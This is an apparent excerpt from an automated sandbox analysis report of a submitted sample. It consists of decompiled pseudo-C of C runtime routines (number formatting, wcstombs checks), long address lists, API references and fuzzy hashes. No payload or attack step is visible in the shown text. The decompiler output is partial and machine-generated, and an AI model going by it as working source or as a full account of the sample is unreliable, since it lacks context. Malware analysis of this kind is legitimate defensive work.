											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L187;
										}
										L185:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L187;
										}
										goto L186;
									}
									L180:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x4a4);
									__edx =  *(__ebp - 0x4a8);
									__eax = E00430830( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
									 *(__ebp - 0x494) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x4a4);
									__ecx =  *(__ebp - 0x4a8);
									 *(__ebp - 0x4a8) = E004308B0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
									 *(__ebp - 0x4a4) = __edx;
									__eflags =  *(__ebp - 0x494) - 0x39;
									if( *(__ebp - 0x494) > 0x39) {
										__edx =  *(__ebp - 0x494);
										__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
										__eflags = __edx;
										 *(__ebp - 0x494) = __edx;
									}
									__eax =  *(__ebp - 4);
									 *( *(__ebp - 4)) =  *(__ebp - 0x494);
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									goto L179;
								}
							}
							L165:
							__eflags =  *(__ebp - 0x4a0);
							if( *(__ebp - 0x4a0) >= 0) {
								goto L167;
							}
							goto L166;
							L167:
							__ecx =  *(__ebp - 0x4a0);
							 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
							__edx =  *(__ebp - 0x49c);
							 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
							goto L168;
						}
					}
				}
			}

0x0043c469
0x0043c469
0x0043c469
0x0043c469
0x0043c469
0x0043c469
0x0043c469
0x0043c473
0x0043c473
0x0043c473
0x0043c47d
0x0043c47d
0x0043c483
0x0043c485
0x0043c48a
0x0043c494
0x0043c494
0x0043c497
0x0043c49b
0x0043c49b
0x0043c4c2
0x0043c4c2
0x0043c4c5
0x0043c4c5
0x0043c4ca
0x0043c4ec
0x0043c4ec
0x0043c4f2
0x0043c514
0x0043c514
0x0043c517
0x0043c55e
0x0043c55e
0x0043c561
0x0043c57e
0x0043c582
0x0043c58a
0x0043c58a
0x0043c58c
0x0043c592
0x0043c563
0x0043c563
0x0043c567
0x0043c56f
0x0043c570
0x0043c576
0x0043c576
0x0043c519
0x0043c51c
0x0043c51c
0x0043c51f
0x0043c53d
0x0043c549
0x0043c54c
0x0043c54d
0x0043c553
0x0043c521
0x0043c521
0x0043c525
0x0043c52d
0x0043c52e
0x0043c52f
0x0043c535
0x0043c535
0x0043c559
0x0043c4f4
0x0043c4f4
0x0043c500
0x0043c506
0x0043c506
0x0043c4cc
0x0043c4cc
0x0043c4d8
0x0043c4de
0x0043c4de
0x0043c59b
0x0043c59b
0x0043c59e
0x00000000
0x00000000
0x0043c5a0
0x0043c5a0
0x0043c5a7
0x00000000
0x00000000
0x0043c5a9
0x0043c5a9
0x0043c5b4
0x0043c5ba
0x0043c5bc
0x0043c5c2
0x0043c5c5
0x0043c5c7
0x0043c5cd
0x0043c5d6
0x0043c5db
0x0043c5f8
0x0043c5fb
0x0043c5fb
0x0043c600
0x0043c605
0x0043c605
0x0043c60b
0x0043c60d
0x0043c613
0x0043c619
0x0043c619
0x0043c622
0x0043c622
0x0043c60b
0x0043c628
0x0043c62c
0x0043c63a
0x0043c63d
0x0043c640
0x0043c647
0x0043c649
0x0043c649
0x0043c62e
0x0043c62e
0x0043c62e
0x0043c656
0x0043c656
0x0043c65c
0x0043c65e
0x0043c65e
0x0043c665
0x0043c66b
0x0043c66e
0x0043c66e
0x0043c66e
0x0043c674
0x0043c677
0x0043c67a
0x0043c67c
0x00000000
0x00000000
0x0043c67e
0x0043c684
0x0043c684
0x0043c68a
0x0043c707
0x0043c70d
0x0043c710
0x0043c713
0x0043c716
0x0043c719
0x0043c71f
0x0043c71f
0x0043c725
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x0043c75a
0x0043c75d
0x0043c75d
0x0043c760
0x0043c765
0x0043c765
0x0043c76a
0x0043c781
0x0043c781
0x0043c784
0x0043c79b
0x0043c79b
0x0043c79e
0x0043c7a0
0x0043c7a5
0x0043c7a9
0x0043c7a9
0x0043c786
0x0043c786
0x0043c78b
0x0043c78f
0x0043c78f
0x0043c76c
0x0043c76c
0x0043c771
0x0043c775
0x0043c775
0x0043c76a
0x0043c7b3
0x0043c7b6
0x0043c7b9
0x0043c7c2
0x0043c7c2
0x0043c7c5
0x0043c7c7
0x0043c7ce
0x0043c7d2
0x0043c7db
0x0043c7e0
0x0043c7e3
0x0043c7ea
0x0043c7ee
0x0043c7f2
0x0043c7fe
0x0043c801
0x0043c801
0x0043c804
0x0043c809
0x0043c809
0x0043c80c
0x0043c80e
0x0043c815
0x0043c819
0x0043c822
0x0043c827
0x0043c80c
0x0043c82a
0x0043c82e
0x0043c8e8
0x0043c8e8
0x0043c8ef
0x0043c8f3
0x0043c8f7
0x0043c8fb
0x00000000
0x0043c834
0x0043c834
0x0043c834
0x0043c838
0x00000000
0x00000000
0x0043c83e
0x0043c83e
0x0043c841
0x0043c847
0x0043c84a
0x0043c850
0x0043c850
0x0043c850
0x0043c85c
0x0043c85f
0x0043c865
0x0043c867
0x00000000
0x00000000
0x0043c869
0x0043c869
0x0043c86c
0x0043c872
0x0043c87a
0x0043c87c
0x0043c883
0x0043c88a
0x0043c899
0x0043c89f
0x0043c8a6
0x0043c8b4
0x0043c8b4
0x0043c8bb
0x0043c8c7
0x0043c8d5
0x0043c8db
0x00000000
0x0043c8db
0x0043c8a8
0x0043c8a8
0x00000000
0x0043c8a8
0x0043c8e6
0x0043c903
0x0043c903
0x0043c90a
0x0043c90f
0x0043c90f
0x0043c912
0x0043c914
0x0043c91b
0x0043c928
0x0043c92d
0x0043c912
0x0043c90a
0x0043c930
0x0043c930
0x0043c934
0x0043c938
0x0043c93c
0x0043c944
0x0043c944
0x0043c94b
0x0043c94b
0x0043bacb
0x0043bad2
0x0043badf
0x0043bae4
0x00000000
0x0043baf7
0x0043bb01
0x0043bb28
0x0043bb0f
0x0043bb20
0x0043bb20
0x0043bb01
0x0043bb32
0x0043bb38
0x0043bb44
0x0043bb47
0x0043bb55
0x0043bb58
0x0043bb65
0x0043bc0a
0x0043bc10
0x0043bc16
0x0043bc1d
0x00000000
0x00000000
0x0043bc23
0x0043bc29
0x00000000
0x0043bc30
0x0043bc30
0x0043bc4a
0x0043bc4f
0x00000000
0x00000000
0x0043bc57
0x0043bc57
0x0043bc5e
0x0043bc61
0x0043bc64
0x0043bc67
0x0043bc6a
0x0043bc6d
0x0043bc70
0x0043bc77
0x0043bc7e
0x00000000
0x00000000
0x0043bc8a
0x0043bc8a
0x0043bc91
0x0043bc9d
0x0043bca0
0x0043bca6
0x0043bcad
0x00000000
0x00000000
0x0043bcaf
0x0043bcb5
0x0043bcb5
0x0043bcbc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bd00
0x0043bd00
0x0043bd07
0x0043bd0a
0x0043bd34
0x0043bd37
0x0043bd37
0x0043bd41
0x0043bd41
0x0043bd45
0x0043bd0c
0x0043bd0c
0x0043bd18
0x0043bd1b
0x0043bd1f
0x0043bd21
0x0043bd24
0x0043bd24
0x0043bd27
0x0043bd2a
0x0043bd2d
0x0043bd2f
0x0043bd2f
0x0043bd32
0x0043bd48
0x00000000
0x00000000
0x0043bd4d
0x0043bd4d
0x00000000
0x00000000
0x0043bd59
0x0043bd59
0x0043bd60
0x0043bd63
0x0043bd83
0x0043bd86
0x0043bd86
0x0043bd90
0x0043bd90
0x0043bd94
0x0043bd65
0x0043bd65
0x0043bd71
0x0043bd74
0x0043bd78
0x0043bd7a
0x0043bd7a
0x0043bd81
0x00000000
0x00000000
0x0043bd9c
0x0043bd9c
0x0043bda3
0x0043bdaf
0x0043bdb2
0x0043bdb8
0x0043bdbf
0x0043bed2
0x00000000
0x0043bed2
0x0043bdc5
0x0043bdcb
0x0043bdcb
0x0043bdd2
0x00000000
0x0043be09
0x0043be09
0x0043be0c
0x0043be0f
0x0043be12
0x0043be39
0x0043be39
0x0043be3c
0x0043be3f
0x0043be42
0x0043be66
0x0043be66
0x0043be69
0x0043be6c
0x0043be6f
0x0043bea8
0x0043beb9
0x00000000
0x0043beb9
0x0043be71
0x0043be71
0x0043be74
0x0043be77
0x0043be7a
0x00000000
0x00000000
0x0043be7c
0x0043be7c
0x0043be7f
0x0043be82
0x0043be85
0x00000000
0x00000000
0x0043be87
0x0043be87
0x0043be8a
0x0043be8d
0x0043be90
0x00000000
0x00000000
0x0043be92
0x0043be92
0x0043be95
0x0043be98
0x0043be9b
0x00000000
0x00000000
0x0043be9d
0x0043be9d
0x0043bea0
0x0043bea3
0x0043bea6
0x0043beaa
0x00000000
0x0043beaa
0x00000000
0x0043bea6
0x0043be44
0x0043be44
0x0043be47
0x0043be4b
0x0043be4e
0x00000000
0x0043be50
0x0043be53
0x0043be56
0x0043be5c
0x0043be61
0x00000000
0x0043be61
0x0043be4e
0x0043be14
0x0043be14
0x0043be17
0x0043be1b
0x0043be1e
0x00000000
0x0043be20
0x0043be23
0x0043be26
0x0043be2c
0x0043be31
0x00000000
0x0043be31
0x00000000
0x0043bebb
0x0043bebb
0x0043bebe
0x0043bec1
0x00000000
0x00000000
0x0043bdd9
0x0043bdd9
0x0043bddc
0x0043bddf
0x0043bde2
0x0043bdfb
0x0043bdfe
0x0043bdfe
0x0043be01
0x0043bde4
0x0043bde4
0x0043bde7
0x0043bdea
0x0043bdf0
0x0043bdf6
0x0043bdf6
0x00000000
0x00000000
0x0043bec6
0x0043bec6
0x0043bec9
0x0043bec9
0x0043becf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bed7
0x0043bed7
0x0043bede
0x0043bee4
0x0043beea
0x0043beed
0x0043bef3
0x0043befa
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x0043c750
0x0043bf00
0x0043bf06
0x0043bf06
0x0043bf0d
0x00000000
0x0043c291
0x0043c291
0x0043c29f
0x0043c29f
0x0043c2a2
0x00000000
0x00000000
0x0043bf14
0x0043bf17
0x0043bf17
0x0043bf1d
0x0043bf1f
0x0043bf22
0x0043bf22
0x0043bf25
0x0043bf25
0x00000000
0x00000000
0x0043c05a
0x0043c05d
0x0043c05d
0x0043c062
0x0043c064
0x0043c067
0x0043c067
0x0043c06a
0x0043c06a
0x00000000
0x00000000
0x0043c45d
0x0043c45d
0x0043c473
0x0043c473
0x0043c47d
0x0043c47d
0x0043c483
0x0043c485
0x0043c48a
0x0043c494
0x0043c494
0x0043c497
0x0043c49b
0x0043c49b
0x00000000
0x00000000
0x0043bfc4
0x0043bfc4
0x0043bfd0
0x0043bfd6
0x0043bfdd
0x0043bfeb
0x0043bfeb
0x0043bff1
0x0043bff4
0x0043c000
0x0043c055
0x00000000
0x0043c055
0x0043bfdf
0x0043bfdf
0x0043bfe5
0x0043bfe9
0x0043c008
0x0043c008
0x0043c00e
0x0043c036
0x0043c03d
0x0043c043
0x0043c046
0x0043c049
0x0043c04f
0x0043c052
0x0043c010
0x0043c010
0x0043c016
0x0043c019
0x0043c01c
0x0043c022
0x0043c025
0x0043c028
0x0043c02a
0x0043c02d
0x0043c02d
0x00000000
0x0043c00e
0x00000000
0x00000000
0x0043c2a9
0x0043c2ac
0x0043c2af
0x0043c2b2
0x0043c2b8
0x0043c2bb
0x0043c2c2
0x0043c2c6
0x0043c2d1
0x0043c2d1
0x0043c2d5
0x0043c2ec
0x0043c2ec
0x0043c2f3
0x0043c2f5
0x0043c2f5
0x0043c2fc
0x0043c2fc
0x0043c303
0x0043c311
0x0043c314
0x0043c323
0x0043c326
0x0043c32a
0x0043c33f
0x0043c32c
0x0043c32c
0x0043c32f
0x0043c335
0x0043c33a
0x0043c33a
0x0043c32a
0x0043c349
0x0043c34c
0x0043c34f
0x0043c352
0x0043c355
0x0043c358
0x0043c35e
0x0043c364
0x0043c36c
0x0043c36d
0x0043c370
0x0043c371
0x0043c374
0x0043c375
0x0043c37c
0x0043c37d
0x0043c380
0x0043c381
0x0043c384
0x0043c385
0x0043c38b
0x0043c38c
0x0043c39b
0x0043c39d
0x0043c3a3
0x0043c3a3
0x0043c3a8
0x0043c3aa
0x0043c3ae
0x0043c3b0
0x0043c3b8
0x0043c3b9
0x0043c3bc
0x0043c3bd
0x0043c3cc
0x0043c3ce
0x0043c3ce
0x0043c3ae
0x0043c3d1
0x0043c3d8
0x0043c3db
0x0043c3e0
0x0043c3e0
0x0043c3e6
0x0043c3e8
0x0043c3f0
0x0043c3f1
0x0043c3f4
0x0043c3f5
0x0043c403
0x0043c405
0x0043c405
0x0043c3e6
0x0043c408
0x0043c40b
0x0043c40e
0x0043c411
0x0043c416
0x0043c41b
0x0043c41e
0x0043c421
0x0043c421
0x0043c424
0x0043c424
0x0043c427
0x0043c433
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x00000000
0x0043c750
0x0043c2d7
0x0043c2d7
0x0043c2de
0x0043c2e1
0x00000000
0x00000000
0x0043c2e3
0x0043c2e3
0x00000000
0x0043c2e3
0x0043c2c8
0x0043c2c8
0x00000000
0x00000000
0x0043bf28
0x0043bf28
0x0043bf33
0x0043bf3b
0x0043bf42
0x0043bf45
0x0043bf45
0x0043bf48
0x0043bfa1
0x0043bfa8
0x0043bf4a
0x0043bf51
0x0043bf57
0x0043bf5d
0x0043bf64
0x0043bf67
0x0043bf6d
0x0043bf75
0x0043bf77
0x0043bf7e
0x0043bf85
0x0043bf8c
0x0043bf94
0x0043bf96
0x0043bf98
0x0043bf98
0x0043bf9f
0x0043bfaf
0x0043bfb5
0x0043bfb8
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x00000000
0x0043c43b
0x0043c43e
0x0043c441
0x0043c444
0x0043c4c2
0x0043c4c5
0x0043c4c5
0x0043c4ca
0x0043c4ec
0x0043c4ec
0x0043c4f2
0x0043c514
0x0043c514
0x0043c517
0x0043c55e
0x0043c55e
0x0043c561
0x0043c57e
0x0043c582
0x0043c58a
0x0043c58a
0x0043c58c
0x0043c592
0x0043c563
0x0043c563
0x0043c567
0x0043c56f
0x0043c570
0x0043c576
0x0043c576
0x0043c519
0x0043c51c
0x0043c51c
0x0043c51f
0x0043c53d
0x0043c549
0x0043c54c
0x0043c54d
0x0043c553
0x0043c521
0x0043c521
0x0043c525
0x0043c52d
0x0043c52e
0x0043c52f
0x0043c535
0x0043c535
0x0043c559
0x0043c4f4
0x0043c4f4
0x0043c500
0x0043c506
0x0043c506
0x0043c4cc
0x0043c4cc
0x0043c4d8
0x0043c4de
0x0043c4de
0x0043c59b
0x0043c59b
0x0043c59e
0x00000000
0x00000000
0x00000000
0x0043c19a
0x0043c19a
0x0043c1a6
0x0043c1ac
0x0043c1b1
0x0043c1b3
0x0043c25d
0x0043c25d
0x0043c260
0x0043c260
0x0043c263
0x0043c277
0x0043c27d
0x0043c283
0x0043c265
0x0043c265
0x0043c26b
0x0043c272
0x0043c272
0x0043c285
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x0043c750
0x0043c1b9
0x0043c1b9
0x0043c1b9
0x0043c1bb
0x0043c1c9
0x0043c1bd
0x0043c1bd
0x0043c1bd
0x0043c1d3
0x0043c1d9
0x0043c1df
0x0043c1e6
0x0043c1e8
0x0043c1ed
0x0043c1ef
0x0043c1f4
0x0043c1f9
0x0043c1fb
0x0043c200
0x0043c203
0x0043c206
0x0043c208
0x0043c208
0x0043c206
0x0043c209
0x0043c210
0x0043c258
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x0043c212
0x0043c212
0x0043c217
0x0043c233
0x0043c23b
0x0043c245
0x0043c248
0x0043c24d
0x00000000
0x0043c24d
0x00000000
0x0043c4a4
0x0043c4a4
0x0043c4ae
0x0043c4ae
0x0043c4b4
0x0043c4b6
0x0043c4b9
0x0043c4b9
0x0043c4bf
0x0043c4bf
0x0043c4c2
0x0043c4c2
0x0043c4c5
0x0043c4c5
0x0043c4ca
0x0043c4ec
0x0043c4ec
0x0043c4f2
0x0043c514
0x0043c514
0x0043c517
0x0043c55e
0x0043c55e
0x0043c561
0x0043c57e
0x0043c582
0x0043c58a
0x0043c58a
0x0043c58c
0x0043c592
0x0043c563
0x0043c563
0x0043c567
0x0043c56f
0x0043c570
0x0043c576
0x0043c576
0x0043c519
0x0043c51c
0x0043c51c
0x0043c51f
0x0043c53d
0x0043c549
0x0043c54c
0x0043c54d
0x0043c553
0x0043c521
0x0043c521
0x0043c525
0x0043c52d
0x0043c52e
0x0043c52f
0x0043c535
0x0043c535
0x0043c559
0x0043c4f4
0x0043c4f4
0x0043c500
0x0043c506
0x0043c506
0x0043c4cc
0x0043c4cc
0x0043c4d8
0x0043c4de
0x0043c4de
0x0043c59b
0x0043c59b
0x0043c59e
0x00000000
0x00000000
0x00000000
0x0043c59e
0x00000000
0x0043c456
0x0043c456
0x00000000
0x00000000
0x0043c06d
0x0043c06d
0x0043c071
0x0043c07f
0x0043c082
0x0043c073
0x0043c073
0x0043c073
0x0043c088
0x0043c08e
0x0043c094
0x0043c0a0
0x0043c0a6
0x0043c0a6
0x0043c0a9
0x0043c131
0x0043c131
0x0043c135
0x0043c137
0x0043c13d
0x0043c13d
0x0043c140
0x0043c147
0x0043c14a
0x0043c150
0x0043c150
0x0043c150
0x0043c156
0x0043c15c
0x0043c15f
0x0043c165
0x0043c167
0x00000000
0x00000000
0x0043c169
0x0043c169
0x0043c16f
0x0043c172
0x0043c174
0x00000000
0x00000000
0x0043c176
0x0043c17c
0x0043c17f
0x0043c17f
0x0043c187
0x0043c187
0x0043c18d
0x0043c18d
0x0043c192
0x00000000
0x0043c0af
0x0043c0af
0x0043c0af
0x0043c0b3
0x0043c0b5
0x0043c0ba
0x0043c0ba
0x0043c0bd
0x0043c0c0
0x0043c0c6
0x0043c0d8
0x0043c0d8
0x0043c0d8
0x0043c0db
0x0043c0e1
0x00000000
0x00000000
0x0043c0e3
0x0043c0e3
0x0043c0e9
0x0043c0ec
0x0043c0ee
0x00000000
0x00000000
0x0043c0f0
0x0043c0f0
0x0043c0f9
0x0043c0ff
0x0043c103
0x0043c10b
0x0043c10d
0x0043c10f
0x0043c115
0x0043c115
0x0043c118
0x0043c118
0x0043c124
0x0043c127
0x0043c0cf
0x0043c0d2
0x0043c0d2
0x0043c0d5
0x0043c0d5
0x0043c12f
0x0043c195
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x0043c750
0x00000000
0x0043c44d
0x0043c44d
0x0043c4c2
0x0043c4c2
0x0043c4c5
0x0043c4c5
0x0043c4ca
0x0043c4ec
0x0043c4ec
0x0043c4f2
0x0043c514
0x0043c514
0x0043c517
0x0043c55e
0x0043c55e
0x0043c561
0x0043c57e
0x0043c582
0x0043c58a
0x0043c58a
0x0043c58c
0x0043c592
0x0043c563
0x0043c563
0x0043c567
0x0043c56f
0x0043c570
0x0043c576
0x0043c576
0x0043c519
0x0043c51c
0x0043c51c
0x0043c51f
0x0043c53d
0x0043c549
0x0043c54c
0x0043c54d
0x0043c553
0x0043c521
0x0043c521
0x0043c525
0x0043c52d
0x0043c52e
0x0043c52f
0x0043c535
0x0043c535
0x0043c559
0x0043c4f4
0x0043c4f4
0x0043c500
0x0043c506
0x0043c506
0x0043c4cc
0x0043c4cc
0x0043c4d8
0x0043c4de
0x0043c4de
0x0043c59b
0x0043c59b
0x0043c59e
0x00000000
0x00000000
0x00000000
0x0043c59e
0x00000000
0x00000000
0x00000000
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x00000000
0x00000000
0x0043bcd9
0x0043bcd9
0x0043bcdc
0x0043bcdf
0x00000000
0x00000000
0x0043bce4
0x0043bce7
0x0043bced
0x00000000
0x00000000
0x0043bcce
0x0043bcd1
0x0043bcd4
0x00000000
0x00000000
0x0043bcc3
0x0043bcc6
0x0043bcc9
0x00000000
0x00000000
0x0043bcf2
0x0043bcf2
0x0043bcf5
0x0043bcf5
0x0043bcf8
0x00000000
0x00000000
0x0043bcfb
0x00000000
0x00000000
0x0043bb6b
0x0043bb6b
0x0043bb6d
0x0043bb7b
0x0043bb6f
0x0043bb6f
0x0043bb6f
0x0043bb8b
0x0043bb98
0x0043bb9a
0x0043bb9f
0x0043bba1
0x0043bba6
0x0043bbab
0x0043bbad
0x0043bbb2
0x0043bbb8
0x0043bbba
0x0043bbba
0x0043bbb8
0x0043bbbb
0x0043bbc2
0x00000000
0x0043bbc4
0x0043bbc9
0x0043bbe5
0x0043bbed
0x0043bbfa
0x0043bbff
0x0043ca14
0x0043ca21
0x0043ca21
0x0043bbc2
0x0043bb65
0x0043c950
0x0043c950
0x0043c957
0x0043c96e
0x0043c96e
0x0043c978
0x0043c978
0x0043c97e
0x0043c984
0x0043c98b
0x0043c98d
0x0043c992
0x0043c994
0x0043c999
0x0043c99e
0x0043c9a0
0x0043c9a5
0x0043c9a8
0x0043c9ab
0x0043c9ad
0x0043c9ad
0x0043c9ab
0x0043c9ae
0x0043c9b5
0x0043ca00
0x0043ca09
0x0043ca0e
0x0043c9b7
0x0043c9bc
0x0043c9d8
0x0043c9e0
0x0043c9ed
0x0043c9f2
0x0043c9f2
0x00000000
0x0043c9b5
0x0043c959
0x0043c959
0x0043c960
0x00000000
0x00000000
0x0043c962
0x0043c962
0x00000000
0x0043c962
0x0043c750
0x0043c727
0x0043c727
0x0043c72b
0x0043c738
0x0043c73b
0x0043c73e
0x0043c741
0x0043c744
0x0043c747
0x0043c74a
0x0043c74a
0x0043c74d
0x00000000
0x0043c74d
0x0043c72d
0x0043c72d
0x0043c730
0x0043c733
0x0043c736
0x00000000
0x00000000
0x00000000
0x0043c736
0x0043c68c
0x0043c68c
0x0043c68f
0x0043c692
0x0043c699
0x0043c6a0
0x0043c6a8
0x0043c6ae
0x0043c6b1
0x0043c6b4
0x0043c6bb
0x0043c6c7
0x0043c6cd
0x0043c6d3
0x0043c6da
0x0043c6dc
0x0043c6e2
0x0043c6e2
0x0043c6e8
0x0043c6e8
0x0043c6ee
0x0043c6f7
0x0043c6fc
0x0043c6ff
0x0043c66e
0x0043c66e
0x0043c674
0x0043c677
0x0043c67a
0x0043c67c
0x00000000
0x00000000
0x00000000
0x0043c67c
0x0043c66e
0x0043c5ab
0x0043c5ab
0x0043c5b2
0x00000000
0x00000000
0x00000000
0x0043c5e0
0x0043c5e0
0x0043c5e6
0x0043c5ec
0x0043c5f2
0x00000000
0x0043c5f2
0x0043c4c2
0x0043c473

APIs

_get_int64_arg.LIBCMTD ref: 0043C4D0
__aullrem.LIBCMT ref: 0043C6A0
__aulldiv.LIBCMT ref: 0043C6C2

Strings

', xrefs: 0043C469
9, xrefs: 0043C6D3

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 044c4e9475caa876993db0b7bf7609c54a9519c81704b3a31cc85cc1f6a62956
Instruction ID: 9b40fff856da451d5bb64c28220c7ac4995d8ad05a7578e6c43ced92a4fb0990
Opcode Fuzzy Hash: 044c4e9475caa876993db0b7bf7609c54a9519c81704b3a31cc85cc1f6a62956
Instruction Fuzzy Hash: 7841F5B1E101299FDB24CF58C981BAEB7B5BF89314F10619AD148A7241D738AA81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004377A3, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E004377A3(void* __ebx, void* __esi) {
				signed int _t74;
				intOrPtr _t75;
				void* _t80;
				signed int _t84;
				void* _t92;
				void* _t97;
				signed int _t106;
				signed int _t108;
				signed int _t112;
				signed int _t113;
				intOrPtr _t114;
				signed int _t117;
				signed int _t119;
				signed int _t125;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t131;
				void* _t132;
				void* _t140;

				_t128 = __esi;
				_t97 = __ebx;
				_t113 =  *(_t129 + 0xc);
				 *_t113 = 0;
				if( *(_t129 + 0x10) != 0xffffffff &&  *(_t129 + 0x10) != 0x7fffffff &&  *(_t129 + 0x10) > 1) {
					_t140 =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
					if(_t140 >= 0) {
						_t113 =  *(_t129 + 0x10) - 1;
						__eflags = _t113;
						 *(_t129 - 0x20) = _t113;
					} else {
						_t112 =  *0x440208; // 0xffffffff
						 *(_t129 - 0x20) = _t112;
					}
					E0041B5B0(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x20));
					_t131 = _t131 + 0xc;
				}
				if( *(_t129 + 8) != 0) {
					_t113 =  *(_t129 + 8);
					 *_t113 = 0;
				}
				if( *(_t129 + 0x18) <=  *(_t129 + 0x10)) {
					_t113 =  *(_t129 + 0x18);
					 *(_t129 - 0x24) = _t113;
				} else {
					 *(_t129 - 0x24) =  *(_t129 + 0x10);
				}
				 *(_t129 - 8) =  *(_t129 - 0x24);
				asm("sbb edx, edx");
				_t114 = _t113 + 1;
				 *((intOrPtr*)(_t129 - 0x14)) = _t114;
				if(_t114 == 0) {
					_push(L"bufferSize <= INT_MAX");
					_push(0);
					_push(0x13f);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
					_push(2);
					_t92 = L0041E420();
					_t131 = _t131 + 0x14;
					if(_t92 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t129 - 0x14)) != 0) {
					_t100 =  *(_t129 + 0xc);
					_t74 = L00437210(_t97,  *(_t129 - 8), _t127, _t128,  *(_t129 + 0xc),  *((intOrPtr*)(_t129 + 0x14)),  *(_t129 - 8),  *((intOrPtr*)(_t129 + 0x1c)));
					_t132 = _t131 + 0x10;
					 *(_t129 - 0xc) = _t74;
					__eflags =  *(_t129 - 0xc) - 0xffffffff;
					if( *(_t129 - 0xc) != 0xffffffff) {
						_t117 =  *(_t129 - 0xc) + 1;
						 *(_t129 - 0xc) = _t117;
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) == 0) {
							L45:
							__eflags =  *(_t129 + 8);
							if( *(_t129 + 8) != 0) {
								 *( *(_t129 + 8)) =  *(_t129 - 0xc);
							}
							_t75 =  *((intOrPtr*)(_t129 - 4));
							goto L48;
						}
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						if( *(_t129 - 0xc) <=  *(_t129 + 0x10)) {
							L44:
							_t119 =  *(_t129 + 0xc) +  *(_t129 - 0xc);
							__eflags = _t119;
							 *((char*)(_t119 - 1)) = 0;
							goto L45;
						}
						__eflags =  *(_t129 + 0x18) - 0xffffffff;
						if( *(_t129 + 0x18) == 0xffffffff) {
							L43:
							 *(_t129 - 0xc) =  *(_t129 + 0x10);
							 *((intOrPtr*)(_t129 - 4)) = 0x50;
							goto L44;
						}
						 *( *(_t129 + 0xc)) = 0;
						__eflags =  *(_t129 + 0x10) - 0xffffffff;
						if( *(_t129 + 0x10) != 0xffffffff) {
							__eflags =  *(_t129 + 0x10) - 0x7fffffff;
							if( *(_t129 + 0x10) != 0x7fffffff) {
								__eflags =  *(_t129 + 0x10) - 1;
								if( *(_t129 + 0x10) > 1) {
									__eflags =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
									if(__eflags >= 0) {
										_t106 =  *(_t129 + 0x10) - 1;
										__eflags = _t106;
										 *(_t129 - 0x2c) = _t106;
									} else {
										_t84 =  *0x440208; // 0xffffffff
										 *(_t129 - 0x2c) = _t84;
									}
									_t117 =  *(_t129 - 0x2c);
									__eflags =  *(_t129 + 0xc) + 1;
									E0041B5B0(_t127,  *(_t129 + 0xc) + 1, 0xfe, _t117);
									_t132 = _t132 + 0xc;
								}
							}
						}
						_t104 =  *(_t129 + 0x10);
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						asm("sbb edx, edx");
						 *(_t129 - 0x18) =  ~_t117;
						if( *(_t129 - 0xc) ==  *(_t129 + 0x10)) {
							_push(L"sizeInBytes > retsize");
							_push(0);
							_push(0x157);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
							_push(2);
